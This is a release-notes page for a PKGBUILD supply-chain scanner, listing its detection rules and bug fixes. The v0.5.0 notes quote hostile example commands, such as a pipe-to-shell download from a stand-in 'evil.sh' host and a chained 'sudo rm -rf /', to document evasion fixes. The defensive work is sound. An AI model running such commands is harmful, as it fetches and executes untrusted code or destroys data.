Skip to content

Releases: emiliano-go/trustsight

v0.9.0

Choose a tag to compare

@emiliano-go emiliano-go released this 28 Jul 20:31
v0.9.0
a47fe67

TL;DR

Five commits since v0.8.0 remove LLM integration entirely, replacing the LLM verdict with deterministic rule-specific templates. The --simple flag, config setup command, [llm] config section, and openai/ollama dependencies are gone. All 12+ documentation files swept of LLM references.

Removed

  • LLM integration. src/trustsight/llm.py deleted; verdicts are now entirely deterministic using rule-specific templates in verdict.py. openai>=1.0 and [project.optional-dependencies] ollama removed from pyproject.toml. The --simple flag on review/inspect, the config setup command, the [llm] config section, and the TRUSTSIGHT_API_KEY / TRUSTSIGHT_BASE_URL environment variables are all removed.

Changed

  • Verdicts now deterministic. Each rule description includes its rule ID in brackets (e.g. "maintainer changed to 'bob' [R071]"). The fallback_verdict() function renders from a _TEMPLATES registry keyed by rule_id, falling back to entry.reason if no template exists.

  • FATAL verdict punctuation. The second sentence now begins with a capital letter for readability.

  • Packaging. LLM optdepends (python-openai, ollama) removed from packaging/aur/PKGBUILD and .SRCINFO.

Fixed

  • All 12+ documentation files swept of LLM references. --verbose added to the commands table in README.md.

Stats

  • 5 commits since v0.8.0
  • 725 tests (27 files), all passing
  • Package version 0.9.0

v0.8.0

Choose a tag to compare

@emiliano-go emiliano-go released this 28 Jul 02:52
v0.8.0
f1518fb

TL;DR

Twenty-three commits since v0.7.2: a full-AUR baseline corpus builder (baseline build, baseline import), property stability tracking for longitudinal rules, a unified TemporalContext across both analysis paths, and reproducible artifact serialisation with optional ed25519 signing. Also includes an interactive config setup wizard, a --simple flag to skip LLM verdicts, a first-run welcome banner, and database schema migrations for the corpus tables.

Added

  • Full-AUR corpus builder. trustsight baseline build fetches the AUR metadata archive (117K+ packages), downloads PKGBUILDs via cgit with snapshot tarball fallback, runs the full analysis pipeline on each one, and persists results. Progress is saved every 1000 packages so --resume can continue after an interrupt. trustsight baseline import merges a signed corpus artifact into the local database. baseline build doubles as a cron target: the first run processes all packages, subsequent runs only process changed ones.
  • Property stability tracking. Eleven per-package, per-key property dimensions (depends, source_hosts, build_system_markers, configure_flags, version_scheme, pkgdesc_tokens, build_line_count, install_hook_present, license, source_orgs, vendored_libs) are recorded on every analysis and persisted with a SHA-256 value hash and a stable_for_n counter that accumulates on identical observations and resets on change.
  • Canonical reproducible serialisation. canonical_artifact_bytes() produces byte-identical output from the same corpus inputs regardless of build time or platform. The signed payload records the ruleset version, scorer version, and corpus cutoff in a deterministic manifest.
  • ed25519 artifact signing. build_artifact accepts --sign KEY to attach a detached ed25519 signature. import_baseline() verifies the signature against the shipped public key and refuses unsigned artifacts by default (--allow-unsigned exists for local builds).
  • config setup interactive wizard. Walks through provider choice (openai, ollama), endpoint, API key (masked), model name, and an optional connection test.
  • --simple flag on review and inspect. Skips the LLM verdict and uses the deterministic fallback directly.
  • First-run welcome banner. Shown when the novelty seed is imported on a first review run, printing config path, database path, and next-step suggestions. Help epilog shows "New? Start with 'trustsight config setup', then 'trustsight review'."
  • Connection-test error messages. APITimeoutError, APIConnectionError, and APIStatusError are caught during the setup test and in generate_verdict_stream() with user-friendly explanations.
  • Loading indicator. A "Querying LLM..." spinner (rich) or "... " text (plain) appears during LLM verdict generation.
  • config set extended. model, timeout, and provider keys are now accepted alongside the existing api_key and base_url.

Changed

  • TemporalContext unifies both analysis paths. The git-based and corpus-based analysis paths now share a single TemporalContext parameter that declares the clock source (git_commit, aur_metadata, or observation_history) rather than deriving timestamps internally. Both paths produce identical temporal verdicts (R065-R067) for the same package. The clock source is recorded on every PackageFact as temporal_source.
  • _build_prompt() refactored. The max_diff_chars_for_llm parameter now truncates only the diff portion of the prompt, not the entire prompt including system instructions.
  • history commands that reference an unanalysed package. Instead of "not found in history", the message now suggests "Run 'trustsight inspect X' first."
  • Seed-import message simplified. From "Imported novelty seed: N source URLs, M maintainers (O observations)." to "Imported N known source URLs and M maintainers for novelty detection."

Fixed

  • LLM verdict always used in inspect. The inspect command previously called fallback_verdict() unconditionally instead of generate_verdict(). It now calls the LLM for scoring packages.
  • API exceptions and suppressed verdicts now logged at warning level. Previously debug made them invisible in normal operation.

Internal

  • Four new database tables: package_profiles, package_properties, pkgbuild_snapshots, alert_state.
  • Database helper functions: get_pkgbuild_snapshot(), save_pkgbuild_snapshot(), get_package_profile(), save_package_profile().
  • update_properties() runs on every analyze_package_text() call before rule evaluation. Property breaks are returned but not yet consumed by longitudinal rules (R094-R102).
  • Database schema migration support via _migrate and _ADDED_COLUMNS.

Stats

  • 23 commits since v0.7.2
  • 739 tests (25 files), all passing
  • Package version 0.8.0

v0.7.2

Choose a tag to compare

@emiliano-go emiliano-go released this 27 Jul 18:29
v0.7.2
2be3074

TL;DR

Three commits since v0.7.1: pipelined analysis and LLM verdicts, AUR RPC caching with configurable TTL, new CLI commands (list, status, db check/vacuum/backup), database durability improvements, and a progress-bar indentation fix.

Added

  • Pipelined analysis and LLM verdicts. _analyze_outdated_batch() now runs analysis and LLM calls in the same worker thread, overlapping across the pool. Wall time for batch reviews is cut by roughly 2x when the LLM is the bottleneck.
  • AUR RPC response cache. Version lookups are cached in the local database. Configurable via cache_ttl_minutes in [discovery] (default 60). Repeat reviews skip the AUR server for packages that have not expired.
  • New CLI commands. trustsight list shows all tracked packages; trustsight status shows database health statistics; trustsight db check|vacuum|backup for database maintenance.
  • inspect --verbose flag. Shows the triggered rules and score breakdown, matching the detail level available in the review table.
  • Database durability. PRAGMA busy_timeout=5000 prevents lock-contention crashes when multiple processes access the database concurrently.

Fixed

  • Progress-bar phase transition. The rich progress bar now correctly resets to indeterminate mode after prefetch completes, displaying elapsed time without resetting the counter.
  • _run_analysis_loop() output indentation. The rich-table and plain-text branches were dead code inside the if json_output return and never rendered for terminal output.

Changed

  • _analyze_outdated_batch() restructured with ThreadPoolExecutor pipelining. Each worker thread handles one full package (analysis plus verdict) instead of the previous two-phase approach.
  • _verdict_for() extracted as a module-level helper. Shared by both the batch-review path and the inspect command.
  • Progress bar uses indeterminate phase during LLM verdict generation. The phase transition sends a sentinel value that switches the bar to spinner mode while keeping elapsed time visible.

Stats

  • 3 commits since v0.7.1
  • 739 tests (22 files), all passing
  • Package version 0.7.2

v0.7.1

Choose a tag to compare

@emiliano-go emiliano-go released this 27 Jul 15:06
v0.7.1
307f84a

TL;DR

Eleven commits since v0.7.0: database migration for upgrades, a 40x batch-review speedup, IDN homograph false-positive fix, lazy version loading, connection caching, concurrent prefetch, AUR RPC support, drift detection, test dedup (173 lines removed), docstrings on every function, dead code cleanup, and ruff E402 fixes.

Added

  • Database schema migration for current_maintainer. A migration step
    (_migrate + _ADDED_COLUMNS) now safely adds columns that were introduced
    after the initial schema shipped. Existing databases created before
    current_maintainer existed will have it added on the first run, fixing a
    crash on upgrade.

  • Concurrent prefetch of AUR repositories. The batch-review path clones or
    fetches all package repos in parallel before beginning analysis, so the
    network latency of 20 sequential fetches no longer dominates the runtime.

  • AUR RPC helpers. get_aur_package_info and get_aur_latest_versions
    batch-query the AUR RPC interface, replacing individual per-package lookups
    and reducing network round-trips.

  • Drift detection for shipped rules. drifted_shipped_rules() compares the
    on-disk rules.toml against the shipped template, flagging when a rule
    definition has drifted from the canonical copy.

  • diff_truncated field on PackageFact. Marks analyses where the diff
    was truncated, so the report can indicate the change was only partially
    examined.

  • Test fixtures shared via conftest.py. SHARED_RULES (R001-R013) and
    SHARED_CONFIG are now defined once and imported by four test files,
    removing 173 lines of duplication.

Fixed

  • IDN homograph false positive. has_homograph() no longer flags
    single-script labels containing non-ASCII Latin letters or combining marks.
    Only mixed-script labels are confusables per UTS #39 Highly Restrictive.
    Legitimate IDNs like münchen.de and café.fr are no longer reported.

  • PKGBUILD check() function. Now builds a venv, installs the built wheel,
    and runs pytest. The previous bare python -m pytest call failed against an
    uninstalled source tree.

Changed

  • _is_current uses HEAD commit time as fallback. Clones from earlier
    versions had no marker file and triggered a redundant git fetch for every
    package. Cutting this from 19 network round-trips to zero drops the batch
    review wall clock from ~2min to ~3s for a 19-package run.

  • _ensure_init runs init once per process. Previously
    ensure_default_configs() and init_db() ran on every analyze_package()
    call. Now they run once per process, saving ~100-200ms per package.

  • R066 (_package_is_new) capped at 100 commits. The brand-new-package
    check previously walked the entire DAG to find the root commit. Packages with
    more than 100 commits are now skipped, eliminating full-history walks that
    cost ~30-50s for packages with thousands of commits.

  • Thread-local connection caching. Database connections are cached per
    thread rather than opened per query. The hot paths issue thousands of small
    reads; opening a connection once instead of per query reduces overhead from
    ~0.35ms to effectively zero on repeat use.

  • Lazy __version__ loading. The version string is now loaded via PEP 562
    __getattr__ instead of importlib.metadata.version() at import time,
    avoiding a 46ms penalty on every import trustsight.

  • Pattern cache in rules.py. Compiled regex patterns are cached across
    diffs, avoiding repeated re.compile calls that dominated the diff-analysis
    hot path.

  • Typosquat detection uses top_dependency_pairs(). The rank-and-compare
    loop now fetches name-count pairs in a single query instead of running one
    query per candidate, fixing a performance regression on large databases.

Removed

  • Dead code and duplicate patterns. parse_srcinfo_with_pkgbase (uncalled)
    and several unreachable lines were removed. _PINNING_ORDER was unified in
    buckets.py; risk_level() is now the single source of truth.

  • .seo-debug/ tracked artifacts. Documentation JSON files committed by a
    prior zensical run are removed from the index and gitignored.

Style

  • Ruff E402 violations resolved. log = logging.getLogger(__name__) was
    moved below all imports. Exception handlers narrowed from
    except BaseException to except Exception.

Documentation

  • Docstrings added to all 124 functions across 19 source files, covering
    every public and private function including inner closures.

Build

  • .gitignore updated for makepkg artifacts. packaging/aur/pkg/,
    packaging/aur/src/, *.tar.gz, and *.pkg.tar.* are now ignored.

Stats

  • 11 commits since v0.7.0
  • 739 tests (25 files), all passing
  • Package version 0.7.1

v0.7.0

Choose a tag to compare

@emiliano-go emiliano-go released this 26 Jul 08:11
v0.7.0
fa8a32f

TL;DR

Eleven new rules across four rule families (temporal, install/build/maintainer, naming, dependency-set), seven crash-bug fixes, python -m trustsight support, and fire rates measured for R068-R073 on the 3246-diff benign corpus.

Added

  • Temporal context rules (R065-R067). Three code-emitted rules that inspect git commit timestamps on the AUR repository rather than diff content. All are on by default with no config toggle.

    Rule Name Severity Condition
    R065 Very Recent Update INFO (w 0) HEAD commit < 72 h old
    R066 Brand New Package INFO (w 0) First AUR commit < 30 days old
    R067 Stale Package Revived MEDIUM (w 15) Gap to last analyzed commit > 365 days
  • Install, build, and maintainer rules (R068-R073). Six code-emitted rules that inspect install hooks, GPG verification removal, build environment subversion, maintainer takeovers, capability density, and release cadence.

    Rule Name Severity Category Condition
    R068 Install Hook Present INFO (w 0) context PKGBUILD declares install= or diff touches *.install
    R069 GPG Verification Removed HIGH (w 25) integrity validpgpkeys populated before, empty/absent after
    R070 Build Environment Subversion HIGH/MEDIUM (w 25/15) build LD_PRELOAD/LD_LIBRARY_PATH (HIGH) or CFLAGS/LDFLAGS/MAKEFLAGS/PATH (MED) set inside build function
    R071 Untrusted Maintainer Takeover HIGH (w 25) maintainer Maintainer changed + new maintainer globally novel
    R072 Capability Density Anomaly INFO (w 0) meta Rule hits span 3+ distinct categories
    R073 Accelerated Release Cadence metadata (never scored) temporal-metadata HEAD has 3+ ancestors in the last 24 h

    All R068-R073 are always on, gated only by diff content or database
    maturity rather than an experimental flag.

  • Naming and dependency-set rules (R074-R075). Two code-emitted rules that detect package-name typosquatting and aggregate dependency-set expansion. Both are always on, gated only by a cold-start maturity check.

    Rule Name Severity Category Condition
    R074 Package-Name Typosquat HIGH (w 25) naming Name within edit-distance 2 of a far-more-popular package, not a variant
    R075 Dependency-Set Expansion MEDIUM (w 15) dependency Diff adds 3+ deps whose count x mean-rarity exceeds gate (>= 1.5)

    R074 uses seed popularity data and requires a warmed database. R075 is fully corpus-calibratable.

  • Fire rates measured for R068-R075 on the 3246-diff benign corpus. All scored rules pass the 30% gate:

    Rule Severity Fire rate Hits
    R068 INFO 20.95 % 680/3246
    R069 HIGH 0.03 % 1/3246
    R070 HIGH/MED 0.25 % 8/3246
    R072 INFO 15.87 % 515/3246
    R074 HIGH 1.12 % 2/179 pkgs
    R075 MEDIUM 0.34 % 11/3246

    R071 and R073 require live git history and are marked TBD in fire-rates.md.

  • python -m trustsight support. Added src/trustsight/__main__.py so the tool works with python -m trustsight in addition to the installed CLI script.

Fixed

  • Seven crash bugs (B1-B6, B10) that prevented the tool from running on unusual package states or missing dependencies:

    ID Issue Fix
    B1 pygit2.GitError raised NameError at runtime because pygit2 was not imported in analysis.py Added import pygit2 at module level
    B2 generate_diff crashes on stale commit OIDs that produce None commits Guard against None before accessing .tree
    B3 get_head_commit propagates GitError for empty/unborn repos Wrapped in try/except, returns "" on failure
    B4 One bad package in a batch aborts the entire scan Per-package try/except around analyze_package in CLI loop
    B5 Tool crashes on startup when rich is not installed Guard console() and fallback paths with HAS_RICH checks
    B6 Seed-import message leaks into JSON stdout with --json Pass quiet=True to maybe_auto_import_seed in JSON mode
    B10 _simple_vercmp compares version parts lexicographically (e.g. 9 > 10) Parse as integers before comparison
  • old_version was hardcoded to empty string. Now queries pacman -Q to populate the installed version, so the LLM verdict shows the correct version range.

  • Stored empty commit treated as "no history" on every subsequent run, looping back to _make_fresh_analysis. Changed the guard to distinguish "no record" from "record with empty commit."

  • Zero-line diff shown unconditionally even when no diff was computed. Now guarded behind lines_added or lines_removed.

  • fallback_verdict() always said "Version bump" regardless of whether version data existed. Now checks first_seen and returns a context-appropriate message.

  • python-openai moved to optdepends to avoid httpx conflict with the httpx CLI package. The import is lazy, so the conflict only arises when verdict generation is invoked, not at CLI startup.

  • D001/D004 tests now seed enough observations to fire correctly after the default-true promotion in v0.6.1.

Stats

  • 11 commits since v0.6.1
  • 702 tests (19 files), all passing
  • Package version 0.7.0

v0.6.1

Choose a tag to compare

@emiliano-go emiliano-go released this 26 Jul 00:29
86cc9f2

Changes

Eight experimental rules promoted to enabled by default

D001, D002, D003, D004, R061, R062, R063, and R064 are now on by default in both the config template and the code fallback. Users who already have an [experimental_rules] section in their config.toml keep their existing setting; users without the section pick up the new defaults automatically.

Fire rates (false-positive rates on the 3246-diff benign corpus) that justified the promotion:

Rule Severity Rate Fires
D001 HIGH 0.15 % 5/3246
D002 HIGH 0.00 % 0/3246
D003 MEDIUM 0.46 % 15/3246
D004 HIGH 0.00 % 0/3246
R061 HIGH 0.22 % 7/3246
R062 HIGH 0.09 % 3/3246
R063 HIGH 0.00 % 0/3246
R064 MEDIUM 0.03 % 1/3246
  • Baseline regenerated with the new defaults. The eight rules now appear in per-stratum fire-rate records.
  • Fire Rates documentation page (docs/explanation/fire-rates.md). Explains how fire rates are measured, the two corpora, the 30 % demotion gate, and per-rule tables for all rule families.
  • Test fix: D004 tests now seed enough observations for the is_established_package() check, fixing a CI regression.

v0.6.0: dependency-graph rules, install hook detection, R060 as INFO

Choose a tag to compare

@emiliano-go emiliano-go released this 25 Jul 23:49
v0.6.0
863028e

TL;DR

Dependency-graph rules (D001-D004), install hook and patch-source rules (R062, R063), source downgrade detection (R064), R060 as INFO/weight 0 on by default, redesigned seed with 209k dependency names, and several measurement-found fixes to the dependency extractor and resolver alignment.

Added

  • D-series dependency-graph rules, closing part of the documented build-dependency blind spot. All are off by default under a new [experimental_rules] config section, so baseline.json is unaffected until they are deliberately enabled.
    • D001 (HIGH) novel dependency: a name never observed anywhere in the AUR.
    • D002 (HIGH) typosquatted dependency, e.g. openss1 for openssl.
    • D003 (MEDIUM) makedepends gains a network-capable tool, so the build can fetch code no checksum covers.
    • D004 (HIGH) provides/replaces claims an established package unrelated to this one.
  • R060 is now INFO (weight 0) and on by default. Fires on 21.4 % of benign diffs, so at weight 0 it reports context to a reviewer without touching any score.
  • R061 (HIGH) a download inside a build function whose URL is absent from source=(). Off by default.
  • R062 (HIGH) a .install hook that fetches or performs a privileged operation. Hooks run as root at install time.
  • R063 (HIGH) a patch applied from a URL, an absolute path, or process substitution.
  • R064 (MEDIUM) a source= URL downgraded from https to http.
  • scripts/generate_seed.py records dependency names from .SRCINFO.
  • tokenizer.resolve_added_lines() returns resolved lines with positions intact.
  • The bundled seed is regenerated and now carries 209,909 dependency names, 179,956 URLs, and 35,903 maintainers.

Fixed

  • _EXPERIMENTAL_DEFAULTS in analysis.py. load_config() reads the user's config.toml verbatim and never merged new defaults in, so existing installs never saw [experimental_rules]. Defaults now live in code.
  • D004 did nothing when enabled on its own. It shared a guard clause with D001-D003, so the whole dependency block returned early unless one of those was also on.
  • The dependency extractor read shell code as dependency names. An unbounded fallback for unquoted array entries pulled if, [[, and ! out of a package() body. Array termination is now quote-aware and bounded, tokens are validated against the Arch package-name grammar, and comments are stripped.
  • resolve_added_lines() shifted every line after an assignment. It zipped its output against tokenize_and_resolve(), which omits assignment lines, so any added assignment made the two sequences different lengths. Substitution is now applied per line from a shared variable table.

Stats

  • 1 commit since v0.5.1
  • 689 tests (19 files), all passing
  • Package version 0.6.0

v0.5.1: automated PKGBUILD checksum, stale .SRCINFO fix

Choose a tag to compare

@emiliano-go emiliano-go released this 25 Jul 22:10
v0.5.1
cc33fd4

TL;DR

Automated PKGBUILD checksum workflow on release tags, and a stale .SRCINFO fix.

Added

  • .github/workflows/release-pkgbuild.yml: on a v* tag, downloads the GitHub-generated source tarball, computes its sha256, and writes pkgver, pkgrel, and sha256sums into packaging/aur/PKGBUILD on the default branch, regenerating .SRCINFO with makepkg --printsrcinfo. The PKGBUILD shipped to users therefore never carries SKIP. The checksum is validated with makepkg --verifysource before the commit, so a wrong hash fails the release rather than reaching a user.

Fixed

  • .SRCINFO was stale: it declared pkgver = 0.3.0 (the actual version was 0.5.0), had all-zero sha256sums, and omitted the python-typer dependency the PKGBUILD requires. Now regenerated and kept current automatically by the release workflow.

Stats

  • 1 commit since v0.5.0
  • 618 tests (18 files), all passing
  • Package version 0.5.1

v0.5.0: security fixes, corpus reconstruction, AUR-first docs

Choose a tag to compare

@emiliano-go emiliano-go released this 25 Jul 21:58
v0.5.0
0f06a12

TL;DR

Five security fixes for evasion vectors in PKGBUILD analysis, corpus rebuilt from lock manifest (diffs no longer committed), and documentation rewritten for AUR-first install.

Security

  • Message prefix disabled every scoped rule. Any line starting with echo/printf/msg followed by a quote was classified as an inert "message" in its entirety, but a shell line does not end at its first command. echo "x"; sudo rm -rf / scored 0 where sudo rm -rf / scored 40, so a seven-character prefix switched off R009 (CRITICAL), R010, and R011. Message context now requires the line to contain no command separator (;, &, |) or substitution ($(, backtick).
  • Line continuations bypassed the CRITICAL pipe-to-shell rules. Rules match one line at a time, so splitting curl http://evil.sh | bash across a trailing backslash left R001/R002 with only a curl \ fragment, dropping the score from 65 to 25. Continuations are now joined into one logical line before matching, for both the raw and resolved paths.
  • Variable resolution never ran inside function bodies. The tokenizer's assignment pattern was anchored at ^(\w+)=, so any indented assignment (that is, every assignment inside a function) was skipped and the variable table stayed empty. C=curl followed by $C http://evil.sh | bash resolved to nothing and defeated every rule matching resolved strings, scoring 20 against a baseline of 65. Assignments are now recognised when indented and when introduced by local/export/declare/readonly/typeset.
  • One-line function bodies escaped function scoping. package() { curl evil | bash; } was classified before the depth counter advanced, so the line read as other and function_body-scoped rules skipped it; the counter was also left raised for everything that followed.
  • .. passed package-name validation and could delete the cache root. _VALID_PKG_NAME accepted . and .., so repo_path("..") resolved to the parent of the repo cache, which clone_or_fetch then passed to shutil.rmtree when it failed to open as a repository. Both names are now rejected, and repo_path additionally asserts the resolved path is directly inside the cache root.
  • discovery.fetch_package_info interpolated the package name straight into the RPC query string; an unescaped & or # could inject or truncate parameters. It now uses urlencode, matching get_aur_latest_versions.

Added

  • scripts/build_corpus.py --from-manifest: rebuilds the exact corpus recorded in corpus.lock instead of re-selecting packages by AUR popularity. Fetches only the branches named in the lock into an empty bare repo, so reconstruction takes minutes rather than requiring a full clone of the AUR monorepo. This is what lets CI materialise the corpus, which is gitignored and therefore never present on a fresh checkout.

Fixed

  • Mirror Integrity Check never ran. The Alert on failure step's script block was mis-indented, making mirror-check.yml unparseable; every run failed during workflow startup. The workflow now also reconstructs the corpus before verifying it, rather than assuming a directory that cannot exist in CI.
  • Corpus Drift Detection failed with "Corpus not found" for the same reason, and now rebuilds the corpus from the lock first (caching the fetched AUR objects).
  • Corpus diffs were not reproducible across machines. git scales the abbreviation length in index <old>..<new> lines to a repository's object count, so a sparse clone emitted 7-character hashes where the full mirror emitted 12: byte-different diffs for identical commits, invalidating corpus_content_sha256. core.abbrev is now pinned to 12 and recorded in the lock.
  • Overlapping strata double-counted diffs. A package matching two strata (python-foo-git matches both lang_ecosystem and vcs_git) was walked once per stratum, and both entries were kept, inflating per-stratum fire rates. Entries are now deduplicated at lock-write time, keeping the last stratum to match the overwrite order the corpus on disk already had. corpus.lock drops from 3332 to 3246 entries with no change to the corpus itself.
  • corpus.lock recorded strata_file as an absolute path from the generating machine.
  • Drift reports are no longer passed through a GITHUB_OUTPUT heredoc, whose delimiter could be forged by diff content and whose payload could exceed the 1 MB output limit. Both workflows also suppress duplicate issues instead of filing one per run.

Changed

  • scope-contradiction downgraded from error to warning: a pattern matching a function header with function_body scope can still fire on a single-line definition (build() { ...; }), so it is reachable but will miss the ordinary multi-line form.

Stats

  • 4 commits since v0.4.1
  • 618 tests (18 files), all passing
  • Package version 0.5.0

v0.4.1: typer CLI, --json flag, PKGBUILD CI

Choose a tag to compare

@emiliano-go emiliano-go released this 25 Jul 15:33
v0.4.1
3aabd6c

TL;DR

CLI migrated from argparse to typer with --json flag on all commands, PKGBUILD build+install CI, and AUR install docs.

Added

  • --json flag on all commands: review, inspect, history, seed-db, lint-rules, config {show,set,sync-rules}, and override {list,add,rm} now accept --json for machine-readable output.
  • PKGBUILD build+install CI: new workflow runs inside archlinux:latest, builds and installs the package via makepkg -si, and verifies trustsight --version succeeds.
  • AUR install instructions: added to README and getting-started guide.

Changed

  • CLI framework migration: argparse replaced with typer. Help text is auto-generated from type annotations, callbacks are type-annotated functions, and the entry point was renamed from main to app.
  • CLI tests: updated from patch(sys.argv) to typer.testing.CliRunner.

Fixed

  • Mirror-check CI trigger: added missing push event for corpus.lock and benign-corpus paths.

Stats

  • 3 commits since v0.4.0
  • 610 tests, all passing
  • Package version 0.4.1